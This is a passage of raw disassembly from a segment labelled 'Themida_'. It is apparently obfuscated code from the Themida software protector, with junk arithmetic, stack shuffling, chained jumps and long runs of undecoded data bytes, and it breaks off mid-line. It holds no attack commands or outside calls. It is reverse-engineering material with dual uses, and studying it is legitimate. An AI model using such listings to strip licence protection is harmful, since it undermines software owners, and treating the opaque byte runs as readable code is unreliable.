XREF: Themida_:loc_548C7Aj ; Themida_:0054A835j push dword ptr [esp] jmp loc_546818 ; --------------------------------------------------------------------------- dd 0F180E9D0h, 6AC6E9CCh, 0E95A0000h, 75FDh ; --------------------------------------------------------------------------- loc_545CD8: ; CODE XREF: Themida_:0054A40Bj push ecx jmp loc_54DCB4 ; --------------------------------------------------------------------------- dw 74FFh dd 34FF0424h, 2434FF24h, 4C48158h, 52000000h, 7BE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545CF6: ; CODE XREF: Themida_:0054545Cj push eax jmp loc_54E24B ; --------------------------------------------------------------------------- dd 31242C33h, 2C33242Ch, 24248B24h, 68C8B60Fh, 620Bh, 0E9240C89h dd 0FFFFD44Dh, 1930CBBDh, 0E9EF894Ah, 0C31h ; --------------------------------------------------------------------------- loc_545D24: ; CODE XREF: Themida_:00546B57j mov [esp], esi mov esi, esp add esi, 4 jmp loc_54F1C2 ; --------------------------------------------------------------------------- dd 0E981F901h, 0D1224E0h, 3EAE9h, 6E0C100h, 7653BB53h dd 0DBF721BFh, 0E904EBC1h, 21E9h, 0EE6BCFB9h, 59CD0165h dd 0A8F5815Eh, 89757812h, 2434FFE8h, 4C4835Dh, 0FFD3F4E9h dd 0BF575AFFh, 3CBE2DF4h, 0FFE7C3E9h, 2A00BAFFh, 0D0897862h dd 4EC815Ah, 89000000h, 32E9242Ch, 66000028h, 9C243CD3h dd 0FFD3C8E9h, 8B6664FFh, 0E9545202h, 0FFFFE073h ; --------------------------------------------------------------------------- loc_545DA8: ; CODE XREF: Themida_:005439BCj add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_54A96D ; --------------------------------------------------------------------------- loc_545DBB: ; CODE XREF: Themida_:0054AFD1j add eax, 741A4999h sub edx, eax pop eax add edx, edi jmp loc_5476A9 ; --------------------------------------------------------------------------- dw 8951h dd 97B850E1h, 0C1273D34h, 0D0F706E0h, 2A27E948h, 0BE560000h dd 4, 1EB1E9h db 0 ; --------------------------------------------------------------------------- loc_545DE9: ; CODE XREF: Themida_:005445A2j mov ebx, [esp] add esp, 4 loc_545DEF: ; CODE XREF: Themida_:00544EDFj sub esp, 4 jmp loc_54BBB4 ; --------------------------------------------------------------------------- dw 0C681h dd 301D6E56h, 111E68h, 243C8900h, 0FFD7BDE9h, 97EB81FFh dd 0E9392407h, 1EA0h, 0E9E68956h, 0E56h, 5FB9CF81h, 0C7812DB7h dd 4E794480h, 153BE56h, 93E94F6Eh, 68000025h, 2977h, 0FF241C89h dd 5B042474h, 8B24048Fh, 0FF662424h, 0E99C240Ch, 0FFFFD311h ; --------------------------------------------------------------------------- loc_545E54: ; CODE XREF: Themida_:00545001j add edx, edi mov [edx], bl pop edx jmp loc_5437D4 ; --------------------------------------------------------------------------- loc_545E5E: ; CODE XREF: Themida_:005474E6j pop eax and eax, ebp mov ebp, [esp] jmp loc_54D5E0 ; --------------------------------------------------------------------------- db 57h, 0E9h, 6 dd 8FFFFFE8h, 248B2404h, 0E9F76624h, 47936866h, 24148966h dd 1F7BE9h, 0BBED8100h, 16F5C5Fh, 0E9505DE9h, 300Ah ; --------------------------------------------------------------------------- loc_545E94: ; CODE XREF: Themida_:005465B0j sub ebp, 1C085303h jmp loc_54B2E4 ; --------------------------------------------------------------------------- db 50h dd 0C12839B0h, 0FFF547E9h, 5EF029FFh, 4E7EB951h, 0C83138A0h dd 0B9514859h, 0DC77F72Eh, 159C801h, 24048BC3h, 4C481h dd 96E90000h, 5FFFFFD2h, 4A5BED81h, 0BDE909DCh, 8100007Dh dd 556ECBEBh, 0C3295802h, 7256C381h, 8F660DB2h, 0D273E900h dd 38BDFFFFh, 16C5259h, 0F3815DEBh, 7A0F2EE3h, 10CBE9h dd 0FA316600h, 66D73166h, 5566EA87h, 5D665066h, 0F7665866h dd 0E99566D0h, 3C8h, 240C8B66h, 22BD68h, 24048900h, 405E089h dd 53000000h, 0C381E389h, 4, 0E904EB83h, 8310h, 29DDF381h dd 0F381203Fh, 2C78712Ah, 7B4768h, 24148900h, 2E5D61BAh dd 0D359E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545F62: ; CODE XREF: Themida_:0054C282j xchg ebp, [esp] jmp loc_54712B ; --------------------------------------------------------------------------- dw 0EAC1h dd 2E2C105h, 3BDDEA81h, 0C28162F3h, 56FC58E5h, 43A6BD55h dd 0E5C124C4h, 9AE95302h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545F8B: ; CODE XREF: Themida_:0054D95Dj sub eax, ecx pop ecx jmp loc_5459B1 ; --------------------------------------------------------------------------- loc_545F93: ; CODE XREF: Themida_:00546CC4j mov si, 5D06h sub si, 33EFh jmp loc_54B59D ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0E9240C8Bh, 1360h, 46DDC281h, 95E92057h, 87FFFFDCh dd 525C2434h, 43BAE9h, 1249BB00h, 66E977D2h, 0FE000084h dd 0F6CFFEC7h, 0B65250D7h, 4C2B0B0h, 2CF02896h, 65B0E996h dd 5B540000h, 4C381h, 3BE90000h, 8900002Ch, 25E959CDh dd 0E9FFFFDBh, 0FFFFD169h, 24048B66h, 830E950h, 68590000h dd 1C5Ch, 68241C89h, 4EA0h, 51240489h, 64454FB9h, 0E16BE948h dd 0F089FFFFh, 0E9485D5Eh, 2Bh, 0C281E289h, 4, 4C281h dd 14870000h, 0A0355C24h, 5B40636Ah, 0FBE68h, 240C8900h dd 4EC81h, 4DE90000h, 5000006Dh, 0F7243C87h, 243C87D7h dd 51D0F758h, 720C7CB9h, 0D9F7414Dh, 0D7C18149h, 0E91C47F3h dd 1318h, 8F04C483h, 248B2404h, 4216624h, 0DAE99C24h, 87FFFFD0h dd 7EE9243Ch, 5B000054h, 4E981h, 0C870000h, 14895C24h dd 0D1B8E924h, 0C87FFFFh, 0E9525C24h, 0FFFFE373h ; --------------------------------------------------------------------------- loc_5460B0: ; CODE XREF: Themida_:0054BDD6j mov ebx, 2A27077Bh mov edx, ebx pop ebx xor edx, 126B6F13h jmp loc_54DC00 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFD09Dh ; --------------------------------------------------------------------------- loc_5460C8: ; CODE XREF: Themida_:0054C6E0j push ebx push 5B5Ch jmp loc_5443DA ; --------------------------------------------------------------------------- db 5Ah dd 4EC8350h, 81242489h, 42404h, 5580000h, 4, 0E1E95051h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5460EF: ; CODE XREF: Themida_:0054C622j sub ebx, 29D45D0Eh add ebx, 354D38D6h add ebx, eax push 1FE9h jmp loc_54D9D8 ; --------------------------------------------------------------------------- db 81h dd 0B4AC87F5h, 5DEA310Dh, 0E95AD189h, 0FFFFE8C8h, 2E3BF381h dd 0DA8977CBh, 80A685Bh, 1EE90000h, 5FFFFFF2h, 8124048Bh dd 4C4h, 74FF5100h, 8F590424h, 665C2404h, 0E9240489h, 0FFFFD01Dh dd 5F1802BFh, 0E9F80179h, 74CBh, 6824048Bh, 58F1h, 89241C89h dd 0CC1E9E3h, 0D3F70000h, 5E241C87h, 20F0F681h, 0A8E96781h dd 5000004Fh, 8BCCE9h, 0E9F83100h, 2264h, 0C8BEF30h, 4C48124h dd 30000000h, 515259EFh, 27B263B1h, 50B5E9h, 47876800h dd 3C890000h, 0EBDE924h, 0E2D00000h, 0CCE9EAD0h, 89000054h dd 4C581E5h, 57000000h, 19F4E9h, 66E68800h, 53C6FE58h dd 0E940B652h, 0FFFFECB9h, 4316685Ch, 14890000h, 4315E924h dd 0E8280000h, 8B665966h, 0CAE9241Ch, 5B00006Bh, 4F28BF57h dd 16E90F91h, 5DFFFFF6h, 81242C8Bh, 4C4h, 0CF5FE900h, 8B66FFFFh dd 89562404h, 6712E9E6h, 0C330000h, 0A5F35C24h, 0E9386203h dd 0FFFFE840h, 0C3805A58h, 5BD9889Fh, 0D059CA88h, 80DAF6E2h dd 0C2FE2AC2h, 2831C280h, 2434FFD0h, 8324148Bh, 0C48304C4h dd 4EC8104h, 89000000h, 0CE92414h, 0F00008Fh, 34FFC0B6h dd 26BA5287h, 0F7600A60h, 0E2C142D2h, 0ECC28104h, 553F6B75h dd 499CE9h, 0EAEE8100h, 8174D078h, 7705C2CEh, 0C1D6F73Bh dd 31E903E6h, 27h, 3BE959EBh, 8900008Fh, 6DE92414h, 8F000004h dd 83582404h, 6AE904ECh, 0B9000079h, 315A2077h, 5759CE01h dd 0F4323FBFh, 5FFE2133h, 37A3E9h db 0 ; --------------------------------------------------------------------------- loc_5462B9: ; CODE XREF: Themida_:0054525Bj pop esi add edx, edi pop edi jmp loc_5474DE ; --------------------------------------------------------------------------- dw 0FF50h dd 58042474h, 5C24048Fh, 9C240CD3h, 0FFCE90E9h, 0C6E981FFh dd 522F347Dh, 0DB7D54BAh, 0E9554263h, 1C70h, 2848E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5462EE: ; CODE XREF: Themida_:00546B28j push eax jmp loc_54ADB8 ; --------------------------------------------------------------------------- dd 121156BEh, 38F68152h, 1100250h, 0C2015EF2h, 416EEA81h dd 37E94210h, 29000033h, 0F8F1E9CEh, 8B66FFFFh, 8950240Ch dd 4518E9E0h, 34890000h, 4BE24h, 0F0010000h, 4EC815Eh dd 89000000h, 38E9243Ch, 5D00001Dh, 0FFF8295Dh, 835F2434h dd 0D96804C4h, 8900006Fh, 88BE2434h, 51F0035h, 614215CBh dd 7D7A262Dh, 5F02921h, 217D7A26h, 4215CB2Dh, 24348B61h dd 34FF5456h, 5519E924h, 0EAE90000h, 5FFFFCDh, 18CC13F8h dd 0F82DD801h, 518CC13h, 5C72146Ah, 83241C8Bh, 0DC6804C4h dd 0E9000012h, 2002h, 0C1815954h, 4, 4C181h, 0E1E90000h dd 81000012h, 42404h, 815D0000h, 4C5h, 0E34CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5463C2: ; CODE XREF: Themida_:0054943Cj push esi mov esi, 5BD91D19h neg esi shl esi, 8 jmp loc_549BAD ; --------------------------------------------------------------------------- loc_5463D2: ; CODE XREF: Themida_:0054821Aj mov bl, cl not bl mov cl, bl pop ebx jmp loc_547C03 ; --------------------------------------------------------------------------- loc_5463DE: ; CODE XREF: Themida_:0054BE0Aj mov [esp], ecx jmp loc_54708B ; --------------------------------------------------------------------------- dw 1487h dd 0BA525C24h, 4, 148BD301h, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 3007E9h, 240C8700h, 0E323E95Ch, 6850FFFFh dd 5FF4h, 0E9242489h, 1C8Fh, 0E9D830ACh, 3BEAh, 0D15FE956h dd 0FF56FFFFh, 5E042474h, 8B24048Fh, 0D3662424h, 0E99C2404h dd 0FFFFCD1Dh, 8DC0B60Fh, 19688704h, 89000071h, 0AE92404h dd 5FFFFFCDh, 8955E9h, 0EC83AD00h, 243C8904h, 3C4E9ABFh dd 0D3C9E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546472: ; CODE XREF: Themida_:0054F324j mov [esp], edx push eax jmp loc_54C9F7 ; --------------------------------------------------------------------------- db 31h dd 240C8BCDh, 2A35E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546486: ; CODE XREF: Themida_:00548C02j add ebp, 4 xchg ebp, [esp] pop esp push ax mov ah, 89h jmp loc_5494A2 ; --------------------------------------------------------------------------- loc_546499: ; CODE XREF: Themida_:0054A68Aj shr ecx, 3 add ecx, 6A651940h add ecx, 322A43E0h xor ecx, 9DB9DDF4h add esi, ecx jmp loc_547C09 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 0F594E900h, 0BB53FFFFh, 16270088h, 6A3FEB81h dd 0E94346AFh, 314Ch ; --------------------------------------------------------------------------- loc_5464D4: ; CODE XREF: Themida_:0054C462j pop ebx push ebp mov ebp, 4 jmp loc_5454C7 ; --------------------------------------------------------------------------- dd 51D08850h, 88C78853h, 0CB885BF9h, 0FD2EE959h, 0EBBAFFFFh dd 8132886Ch, 0F52004C3h, 68D30146h, 557Bh, 72B0E9h, 24048F00h dd 2CD1E9h db 0 ; --------------------------------------------------------------------------- loc_546511: ; CODE XREF: Themida_:0054D730j add esp, 4 and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax loc_546521: ; DATA XREF: Themida_:loc_543983o jmp loc_54DDB0 ; --------------------------------------------------------------------------- dw 0C329h dd 0FFF9AEE9h, 0E90F2CFFh, 27h, 81243C8Bh, 4C4h, 0CD44E900h dd 3481FFFFh, 636AA024h, 2434FF40h, 4EC8158h, 89000000h dd 0D1E92414h, 5AFFFFFAh, 0C204C828h, 0B3535259h, 80C3FEA1h dd 0CB86E0F3h, 0FFE4FBE9h, 0CBEFE9FFh, 433FFFFh, 24043124h dd 8B240433h, 14892424h, 0E99C5024h, 0FFFFCBD9h, 240C8B66h dd 6FDD68h, 24348900h, 3382E9h db 0 ; --------------------------------------------------------------------------- loc_54659D: ; CODE XREF: Themida_:00548797j mov edi, 440F4B9Dh sub ebp, 1AF6069Fh add ebp, 1C085303h add ebp, edi jmp loc_545E94 ; --------------------------------------------------------------------------- db 29h, 54h, 24h dd 246C8104h, 0FD209A04h, 7BFFE967h, 0D5F70000h, 0FFE28DE9h dd 2C083FFh, 2474FF50h, 24048B04h, 4044E9h, 2004BF00h dd 0EB8146F5h, 6D320BCAh, 0EDE9FB29h, 53000056h, 26155FBBh dd 55D3F759h, 5980E4BDh, 5DEB2913h, 34FFD829h, 43E95B24h dd 9FFFFE4h, 0E6C159CEh, 0D6F74603h, 5198E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54661A: ; CODE XREF: Themida_:0054B85Fj mov ebp, 4 add ebx, ebp jmp loc_54A6B9 ; --------------------------------------------------------------------------- dw 0E95Ah dd 761Fh, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFCB29h ; --------------------------------------------------------------------------- loc_54663C: ; CODE XREF: Themida_:00548877j push edi mov edi, 5C934760h mov ecx, edi pop edi jmp loc_54AAC9 ; --------------------------------------------------------------------------- dw 9768h dd 0E9000009h, 6569h ; --------------------------------------------------------------------------- loc_546654: ; CODE XREF: Themida_:0054BC15j dec bp add bp, 782Fh xor bp, 0C0E4h jmp loc_546CC3 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 1000000h, 0FF505DE8h, 58042474h, 5C24048Fh, 5604C483h dd 0C681E689h, 4, 3304C683h, 7FE92434h, 5CFFFFD2h, 8B246F29h dd 0C483242Ch, 0DF895704h, 3C8BF889h, 8B545024h, 89522404h dd 4C281E2h, 83000000h, 143304C2h, 24143124h, 3813E9h dd 0C0BA5200h, 81282617h, 0CE420FC3h, 0CDC38168h, 159FA49h dd 0CDEB81D3h, 8159FA49h, 0CE420FEBh, 0BF575A68h, 7BC555DDh dd 0FFD89DE9h, 0C8B66FFh, 5DE95624h, 5900004Eh, 0FFE3D2E9h dd 2434FFFFh, 0E92434FFh, 36DBh, 1B2DB0BAh, 3BC28108h dd 426E5411h, 0FFCB1DE9h, 4BDFFh, 0C7810000h, 20723365h dd 0EF81EF01h, 20723365h, 81242C8Bh, 4C4h, 243C3300h, 33243C31h dd 248B243Ch, 2434FF24h, 6824048Bh, 63BEh, 51B4E9h db 0 ; --------------------------------------------------------------------------- loc_54674D: ; CODE XREF: Themida_:00545412j push edi jmp loc_54DD69 ; --------------------------------------------------------------------------- db 81h dd 1224E0C1h, 0F5D6E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54675E: ; CODE XREF: Themida_:0054ACA6j push 0B9h mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_548EAA ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 1F5A6824h, 2DE90000h, 68000061h, 3BA6h, 89240C89h, 95BF57E1h dd 0E97F057Ah, 7B02h, 0B850D6F7h, 6E460D1Eh, 4008E0C1h dd 912DE0D1h, 93484DDh, 24048BC6h, 81E38953h, 4C3h, 4C38100h dd 0E9000000h, 35D4h, 5704C483h, 0C781E789h, 4, 8704C783h dd 525C243Ch, 804AB151h, 0C180FFC1h, 59CA88ABh, 0F601EA80h dd 2B6866D2h, 1C896647h, 69606824h, 14890000h, 807CB224h dd 0EAC0D8C2h, 0F6C2FE03h, 0D5EA80DAh, 88D18851h, 0E95A59CBh dd 1A88h ; --------------------------------------------------------------------------- loc_546818: ; CODE XREF: Themida_:00545CC3j pop ebx push ecx mov ecx, esp sub esp, 4 mov [esp], edi jmp loc_545388 ; --------------------------------------------------------------------------- loc_546827: ; CODE XREF: Themida_:0054D5DBj add esp, 4 jmp loc_545044 ; --------------------------------------------------------------------------- a6s db '6\',0 align 2 dw 5854h dd 3F1368h, 0F18BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546842: ; CODE XREF: Themida_:0054CB73j neg ecx sub ecx, 0B926D388h mov eax, ecx pop ecx sub esi, 7A996D32h jmp loc_547156 ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 0E6B9E924h, 5657FFFFh, 6E307EBEh dd 5EF78947h, 151FA8BDh, 5FFD0134h, 0DAADC581h, 0C781FB89h dd 35B310DDh, 0EF81EF01h, 35B310DDh, 0FFFAAAE9h, 0D1B850FFh dd 0C14BA16Ah, 482D07E0h, 0E9CC544Dh, 0FFFFD3A0h, 8102E9C1h dd 1E85E2E9h, 0F73DE919h, 8B66FFFFh, 54562404h, 0E92434FFh dd 37BFh, 1FBDF681h, 5FE9522Eh, 58000026h, 4C481h, 54510000h dd 70685759h, 0FF11FE20h, 0E95F2434h, 57C4h, 5C243487h dd 0E9241C89h, 3676h, 0FF2434FFh, 505A2434h, 4055854h dd 52000000h, 4BAh, 5AD00100h, 5C240487h, 682868h, 24348900h dd 0BA52E689h, 7501199Ch, 7E2C14Ah, 45CA8142h, 0E9214F41h dd 8A8Fh, 89243489h, 4C681E6h, 81000000h, 4ECh, 243C8900h dd 2BFh, 0F3B85000h, 51A2254h, 15C720C3h, 4F8DE9h, 68555D00h dd 0CD84DD49h, 1DCCE9h, 0FEB9B400h, 56F480C4h, 48BE730h dd 679EE924h, 0FE290000h, 3DC2C681h, 15F7CB3h, 6FBD55C6h dd 115AF04h, 242C8BEEh, 17ACE951h, 0E5890000h, 4C581h dd 0ED810000h, 4, 3A77E9h db 0 ; --------------------------------------------------------------------------- loc_5469A1: ; CODE XREF: Themida_:0054A13Dj shl edx, 1 push ebp push eax jmp loc_54AB8F ; --------------------------------------------------------------------------- dw 0EF80h dd 0F80059F4h, 0B353515Bh, 219DE957h, 53520000h, 5193E9h dd 0B7536600h, 0E863E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5469CA: ; CODE XREF: Themida_:0054A3EEj sub ebx, 1A923012h add ebx, 3DFF4042h sub ebx, 6D3D433Eh add ebx, 64247AE7h add ebx, edi sub ebx, 64247AE7h add ebx, 6D3D433Eh sub ebx, 3DFF4042h add ebx, 1A923012h push dword ptr [ebx] jmp loc_545B91 ; --------------------------------------------------------------------------- aS? db ' [?',0 db 0 ; --------------------------------------------------------------------------- loc_546A0B: ; CODE XREF: Themida_:0054E083j push eax mov al, bl push ecx mov cl, al jmp loc_545C60 ; --------------------------------------------------------------------------- dw 0D6F7h dd 13F1F681h, 0F589ECF3h, 2444815Eh, 456C4F04h, 246C8127h dd 8C5C7E04h, 682BE950h, 0EC810000h, 4, 0BD242C89h, 49830FF3h dd 37F58145h, 104D47Fh, 38E95DEBh, 57000030h, 0C781E789h dd 4, 7F55E9h, 0D5685A00h, 89000036h, 0CE682434h, 0E900002Eh dd 4E3Dh, 7BE56851h, 4890000h, 5585424h, 4, 42Dh, 24048700h dd 0E924248Bh, 11AEh, 1C8B1388h, 5D545524h, 84FDE9h, 0FFB85000h dd 1FFFFFFh, 45E958C5h, 55FFFFEBh, 523A6FBDh, 271BE926h dd 8B660000h, 5450240Ch, 0AFE9h, 5FFB0100h, 31241C33h dd 1C33241Ch, 0AD3E924h, 4310000h, 0D7D6E924h, 14F7FFFFh dd 8170E924h, 31AD0000h, 0E95557D8h, 0FFFFF228h, 8904EC83h dd 38BB241Ch, 1000000h, 647BE9FBh, 0B8500000h, 7637365Ah dd 49B1E953h, 0DA890000h, 3BC6815Bh, 1069E06h, 3BEE81D6h dd 8B069E06h, 0D7E92414h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B27: ; CODE XREF: Themida_:005456D2j push edi jmp loc_5462EE ; --------------------------------------------------------------------------- db 66h, 59h, 0E9h dd 0FFFFD3BEh, 7B006853h, 76E9136Fh db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B3F: ; CODE XREF: Themida_:0054DD7Aj sub edi, 0A211391Ch add ebp, edi pop edi jmp loc_54D1E8 ; --------------------------------------------------------------------------- loc_546B4D: ; CODE XREF: Themida_:0054D646j pop edx xchg ebp, [esp] pop esp push 447Ch jmp loc_545D24 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 1CD35966h, 0FAE99C24h, 8FFFFFC5h, 0E9512404h dd 2D5Fh, 8324048Bh, 40504C4h, 0E9000000h, 0FFFFEF79h ; --------------------------------------------------------------------------- loc_546B84: ; CODE XREF: Themida_:0054504Cj jnz loc_547F77 push 67A0h mov [esp], eax jmp loc_54F234 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F9EE8100h, 13DB740h, 7B91E9CEh, 14890000h, 3FA8BA24h dd 0CA810843h, 5D734D3Ch, 0FE6BBF57h, 0FA01DE5Ch, 5AD0015Fh dd 0BB53D801h, 3BD07E27h, 815BD829h, 4ECh, 242C8900h, 0E53B850h dd 0B5E95F72h, 83000038h, 48704E8h, 24248B24h, 0E9240489h dd 0FFFFC571h, 243C3166h, 243C3366h, 243C3166h, 0E9D73166h dd 0FFFFF2FDh, 241C895Ch, 0C3815B54h, 4, 56C6E9h, 4E1C100h dd 4A72E981h, 0C1815556h, 0A8506E0Dh, 43E5EE81h, 0CE01090Ah dd 43E5C681h, 8B59090Ah db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_548CF3 ; --------------------------------------------------------------------------- db 50h dd 0EF49FEB8h, 2DD0F727h, 1E50EDC8h, 0E958C201h, 3389h dd 243C8758h, 5579685Ch, 0C890000h, 2A3BE924h, 0B9510000h dd 4, 6CFFBB53h, 8DE958BBh, 5EFFFFE9h, 4C481h, 0E9500000h dd 0FFFFCD60h, 0C281E289h, 4, 4C281h, 14870000h, 808AE924h dd 2DBE0000h, 0D1672F55h, 9CC681E6h, 8140507Eh, 0B4006ACEh dd 0D9E95634h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546CC3: ; CODE XREF: Themida_:00546660j push esi jmp loc_545F93 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSrw db '$RW',0 align 2 dw 8150h dd 1F07242Ch, 815F0080h, 801F07C7h, 7E95800h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_546CE7: ; CODE XREF: Themida_:00543C78j not esi shr esi, 4 add esi, 1FCF3E08h xor esi, 422E0F1h mov ebp, esi pop esi or ebp, 353C7CFDh push edx mov edx, 3FBC7DFBh sub ebp, edx jmp loc_54CFF3 ; --------------------------------------------------------------------------- dw 2BDh dd 1000000h, 3C875DEFh, 24248B24h, 1BA6E9h db 0 ; --------------------------------------------------------------------------- loc_546D21: ; CODE XREF: Themida_:0054D309j mov esi, ebp pop ebp jmp loc_54E059 ; --------------------------------------------------------------------------- db 56h, 0BEh, 2Dh dd 0E91C7218h, 0FFFFFB8Ch, 4EC8157h, 89000000h, 4812424h dd 424h, 0C7815F00h, 4, 4BA5250h, 68000000h, 478Eh, 672DE9h dd 39686600h, 1489664Eh, 80CBB224h, 0D3002FC3h, 662FEB80h dd 8324148Bh, 0EA8002C4h, 661CE963h, 8B660000h, 0B8682404h dd 8900001Ah, 0E954241Ch, 0FFFFDCC9h ; --------------------------------------------------------------------------- loc_546D90: ; CODE XREF: Themida_:0054BBFAj add edi, 9F4569A4h jmp loc_54D35B ; --------------------------------------------------------------------------- db 89h dd 0A5E9243Ch, 81FFFFF3h, 33FD7FEEh, 5EF20105h, 3324E9h db 0 ; --------------------------------------------------------------------------- loc_546DB1: ; CODE XREF: Themida_:00548251j push ecx mov ecx, 665970E5h jmp loc_5459E5 ; --------------------------------------------------------------------------- dd 8BCB295Dh, 0C483240Ch, 8BD83104h, 0C483241Ch, 0F3CBE904h dd 835DFFFFh, 343304EEh, 24343124h, 5C243433h, 7A5E9h db 0 ; --------------------------------------------------------------------------- loc_546DE5: ; CODE XREF: Themida_:0054DE9Cj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 2641h mov [esp], edx push edi push 62280CD6h pop edi mov edx, edi pop edi jmp loc_54DF2B ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0C3830000h, 241C8704h, 80D2F65Ch, 5BE9F3CAh dd 55FFFFCCh, 4BDh, 35C38100h, 0E9653746h, 1E6Fh, 6240481h dd 0E903B57Dh, 0FFFFD22Eh, 0E9241489h, 3284h, 315BD801h dd 0B60F66C3h, 65686600h, 489667Fh, 0C303E924h, 0BA52FFFFh dd 677E5405h, 57E0E9h, 66C52800h, 8BEB0058h, 8952240Ch dd 7D67E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E7E: ; CODE XREF: Themida_:00543335j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 1D88121Bh add ebx, edi sub ebx, 1D88121Bh jmp loc_54B07F ; --------------------------------------------------------------------------- loc_546EA3: ; CODE XREF: Themida_:0054EED0j sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], eax xchg ebx, [esp] not ebx xchg ebx, [esp] mov eax, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ecx push ebp push edi mov edi, 4DED5BEFh jmp loc_54D042 ; --------------------------------------------------------------------------- aXhrt db 'Xhrt',0 align 2 aIHtZ_sg db '<$h"Z_G',9,0 align 10h loc_546EF0: ; CODE XREF: Themida_:0054C904j pop eax mov [edi+20h], esi jmp loc_545CBF ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 6624248Bh, 68240C8Bh, 4B07h, 54240C89h, 81240C8Bh, 4C4h dd 0E260E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546F1A: ; CODE XREF: Themida_:005487DFj xor ebp, [esp] xor [esp], ebp push ebp jmp loc_54A8EB ; --------------------------------------------------------------------------- dw 0BBh dd 0E9000000h, 7DD1h, 4EC81h, 34890000h, 505E5424h, 0C71AE956h dd 355CFFFFh, 0C380A6Dh, 1921BF57h, 0EF811E8Dh, 0FFFFFFFFh dd 197ACF81h, 0D7F70267h, 0D2F7D787h, 0D7F7D787h, 0BA525055h dd 29417229h, 0CA81EAD1h, 324E79D1h, 8106E2C1h, 0CD3872C2h dd 22E94A58h, 2900006Eh, 2C3358C5h, 242C3124h, 5C242C33h dd 52242489h, 4BF57h, 0FA890000h, 2444815Fh, 526F2B04h dd 24540170h, 246C8104h, 526F2B04h, 815A5A70h, 4C2h, 2C28100h dd 87000000h, 248B2414h, 0AB0F6624h, 0E99C2404h, 0FFFFDAC9h dd 98CEB81h, 0CB315214h, 0D46E9h, 24248B00h, 2896664h dd 0FFC17CE9h, 243C8BFFh, 8704C483h, 248B241Ch, 0B30F6624h dd 0E99C2404h, 0FFFFC165h, 24048B66h, 464EE9h db 0 ; --------------------------------------------------------------------------- loc_547009: ; CODE XREF: Themida_:00548351j add ebx, 4 sub ebx, 4 jmp loc_54F0AA ; --------------------------------------------------------------------------- dw 41B1h dd 0FE08E1C0h, 5FC180C1h, 0BBE9CA28h, 83000028h, 248904ECh dd 55E95724h, 89000083h, 0E2892414h, 5E08950h, 4, 8704E883h dd 0E95C2404h, 0FFFFEC5Ch, 420DE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547056: ; CODE XREF: Themida_:00548C83j mov [esp], esi push ebp jmp loc_54E94A ; --------------------------------------------------------------------------- db 51h dd 61E9B7B1h, 0BFFFFFECh, 425B155Ah, 3C8BF829h, 5E545624h dd 4C681h, 0E9550000h, 0FFFFFFD0h, 348168h, 0E9E95400h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54708B: ; CODE XREF: Themida_:005463E1j mov ecx, 1 push edx mov edx, 24h add edx, edi jmp loc_54C0D2 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 51240C8Bh, 1353E9h, 2EF28100h, 810CD34Eh, 0A1274EC2h dd 5AD7015Eh, 5704C783h, 42474FFh, 6C8DE9h, 0F0016600h dd 1C80E95Eh, 505F0000h, 405E089h, 2D000000h, 4, 5C240487h dd 21DBE9h, 0C077E900h, 0E95AFFFFh, 0FFFFFFB9h, 38E468h dd 240C8900h, 8904EC83h, 68E92404h, 8B00002Ah, 59E92424h dd 89FFFFD8h, 262DE9E7h, 875A0000h, 0F5C241Ch, 0D768C8BEh dd 8900000Ch, 2BE9240Ch db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54712B: ; CODE XREF: Themida_:00545F65j pop esp mov [esp], ebp push 0FFFFFFFFh pop ebp sub [edi+24h], ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 add ecx, ebp jmp loc_544136 ; --------------------------------------------------------------------------- loc_547156: ; CODE XREF: Themida_:00546853j add esi, eax add esi, 7A996D32h mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_543F63 ; --------------------------------------------------------------------------- db 80h dd 